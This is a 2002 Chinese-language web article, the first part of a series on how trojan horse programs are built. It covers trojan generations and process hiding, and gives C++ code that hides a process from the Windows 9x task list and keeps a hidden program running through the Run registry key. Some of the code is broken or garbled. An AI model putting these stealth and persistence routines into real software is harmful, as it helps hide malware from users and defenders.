GB | BIG5
|
| 首頁 > 安全技術 > 程序 > 正文 |
 |
| 透視木馬程序開發技術(上) |
| 本文出自:http://sinbad.zhoubin.com 作者: 大皮球 (2002-11-19 06:02:01) |
近年來,黑客技術不斷成熟起來,對網絡安全造成了極大的威脅,黑客的主要攻擊手段
之一,就是使用木馬技術,滲透到對方的主機系統裡,從而實現對遠程操作目標主機。其破
壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面
我對木馬進行源代碼級的詳細的分析,讓我們對木馬的開發技術做一次徹底的透視,從了解
木馬技術開始,更加安全的管理好自己的計算機。
1、木馬程序的分類
木馬程序技術發展至今,已經經歷了4代,第一代,即是簡單的密碼竊取,發送等,沒有
什特別之處。第二代木馬,在技術上有了很大的進步,冰河可以說為是國內木馬的典型代
表之一。第三代木馬在數據傳遞技術上,又做了不小的改進,出現了ICMP等類型的木馬,利
用畸形報文傳遞數據,增加了查殺的難度。第四代木馬在進程隱藏方面,做了大的改動,採
用了內核插入式的嵌入方式,利用遠程插入線程技術,嵌入DLL線程。或者掛接PSAPI,實現木
馬程序的隱藏,甚至在Windows NT/2000下,都達到了良好的隱藏效果。相信,第五代木馬很
快也會被編制出來。關更詳細的說明,可以參考ShotGun的文章《揭開木馬的神秘面紗》。
2.木馬程序的隱藏技術
木馬程序的服務器端,為了避免被發現,多數都要進行隱藏處理,下面讓我們來看看木
馬是如何實現隱藏的。
說到隱藏,首先得先了解三個相關的概念:進程,線程和服務。我簡單的解釋一下。
進程:一個正常的Windows應用程序,在運行之,都會在系統之中產生一個進程,同時
,每個進程,分別對應了一個不同的PID(Progress ID, 進程標識符)這個進程會被系統分
配一個虛擬的內存空間地址段,一切相關的程序操作,都會在這個虛擬的空間中進行。
線程:一個進程,可以存在一個或多個線程,線程之間同步執行多種操作,一般地,線程之
間是相互獨立的,當一個線程發生錯誤的時候,並不一定會導致整個進程的崩潰。
服務:一個進程當以服務的方式工作的時候,它將會在台工作,不會出現在任務列表
中,但是,在Windows NT/2000下,你仍然可以通過服務管理器檢查任何的服務程序是否被啟
動運行。
想要隱藏木馬的服務器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進程
仍然存在,只不過是讓他消失在進程列表裡。真隱藏則是讓程序徹底的消失,不以一個進程
或者服務的方式工作。
偽隱藏的方法,是比較容易實現的,只要把木馬服務器端的程序注冊為一個服務就可以
了,這樣,程序就會從任務列表中消失了,因為系統不認為他是一個進程,當按下Ctrl+Alt
+Delete的時候,也就看不到這個程序。但是,這種方法只適用Windows9x的系統,對Wi
ndows NT,Windows 2000等,通過服務管理器,一樣會發現你在系統中注冊過的服務。難道偽
隱藏的方法就真的不能用在Windows NT/2000下了嗎?當然還有辦法,那就是API的攔截技術
,通過建立一個台的系統鉤子,攔截PSAPI的EnumProcessModules等相關的函數來實現對進
程和服務的遍歷調用的控制,當檢測到進程ID(PID)為木馬程序的服務器端進程的時候直接
跳過,這樣就實現了進程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOu
tA,TextOutW函數,來截獲屏幕輸出,實現即時翻譯的。同樣,這種方法也可以用在進程隱藏
上。
當進程為真隱藏的時候,那這個木馬的服務器部分程序運行之,就不應該具備一般
進程,也不應該具備服務的,也就是說,完全的溶進了系統的內核。也許你會覺得奇怪,剛
剛不是說一個應用程序運行之,一定會產生一個進程嗎?的確,所以我們可以不把他做成
一個應用程序,而把他做為一個線程,一個其他應用程序的線程,把自身注入其他應用程序
的地址空間。而這個應用程序對系統來說,是一個絕對安全的程序,這樣,就達到了徹底
隱藏的效果,這樣的結果,導致了查殺黑客程序難度的增加。
出安全考慮,我只給出一種通過注冊服務程序,實現進程偽隱藏的方法,對更復雜
,高級的隱藏方法,比如遠程線程插入其他進程的方法,請參閱ShotGun的文章《NT系統下木
馬進程的隱藏與檢測》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
DWORD dwVersion = GetVersion(); //取得Windows的版本號
if (dwVersion >= 0x80000000) // Windows 9x隱藏任務列表
{
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //裝入KERNEL32.D
LL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"Regist
erServiceProcess"); //找到RegisterServiceProcess的入口
rsp(NULL,1); //注冊服務
FreeLibrary(dll); //釋放DLL模塊
}
}
catch (Exception &exception) //處理異常事件
{
//處理異常事件
}
return 0;
}
3、程序的自加載運行技術
讓程序自運行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑
到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法
外,還有很多其他的辦法,據yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或
者通過注冊表裡的輸入法鍵值直接掛接啟動,通過修改Explorer.exe啟動參數等等的方法,
真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersions\Run鍵值來實現自啟動的程序:
自裝載部分:
HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("\\")+PName;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}
自裝載程序的卸載代碼:
int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,"BackGroup")
==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);
其中自裝載部分使用C++ Builder可以這樣寫,會比較簡化:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ?Key;
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
特落伊木馬常用的Port (2001-05-21 08:10:00) 揭開木馬的神秘面紗(三) (2001-05-20 13:04:01) 揭開木馬的神秘面紗(二) (2001-05-20 12:10:00) 揭開木馬的神秘面紗(一) (2001-05-20 11:00:00) 小木馬cnc源代碼及開發文檔 (2001-04-19 12:38:07)
|
|
|
|
 |
★ 樊強制作 歡迎分享 ★ |